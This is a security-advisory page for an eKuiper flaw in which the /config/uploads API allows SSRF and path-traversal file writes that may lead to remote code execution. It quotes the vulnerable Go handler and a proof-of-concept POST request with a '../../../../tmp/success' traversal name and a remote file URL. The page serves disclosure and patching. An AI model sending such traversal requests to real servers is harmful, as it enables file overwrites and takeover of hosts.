Skip to content
Fencer Intel
high —

GHSA-gj54-gwj9-x2c6 json

eKuiper /config/uploads API arbitrary file writing may lead to RCE

published last yr. modified 8mo ago also GO-2025-3800

cvss
—
not scored
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

### Summary eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

### Details ```go func fileUploadHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { // Upload or overwrite a file case http.MethodPost: switch r.Header.Get("Content-Type") { case "application/json": fc := &fileContent{} defer r.Body.Close() err := json.NewDecoder(r.Body).Decode(fc) if err != nil { handleError(w, err, "Invalid body: Error decoding file json", logger) return } err = fc.Validate() if err != nil { handleError(w, err, "Invalid body: missing necessary field", logger) return }

filePath := filepath.Join(uploadDir, fc.Name) err = upload(fc) ``` - The fc.Name parameter do not safely filtered.

### PoC ``` POST /config/uploads HTTP/1.1 Host: localhost:9081 Content-Type: application/json Content-Length: 89

{ "name": "../../../../tmp/success", "file": "http://192.168.65.254:8888/success" } ``` ![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)

### Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

1. SSRF 2. Path-Travel 3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

Patch / fix

  • go github.com/lf-edge/ekuiper/v2 2.2.0

Is GHSA-gj54-gwj9-x2c6 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.

Check with Fencer

Affected packages

ecosystem package affected fixed in
go github.com/lf-edge/ekuiper/v2
<2.2.0
2.2.0
go github.com/lf-edge/ekuiper
<=1.14.7
all versions
no fix listed

Classification

Weakness
  • CWE-434 Unrestricted Upload of File with Dangerous Type

References

Sources

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.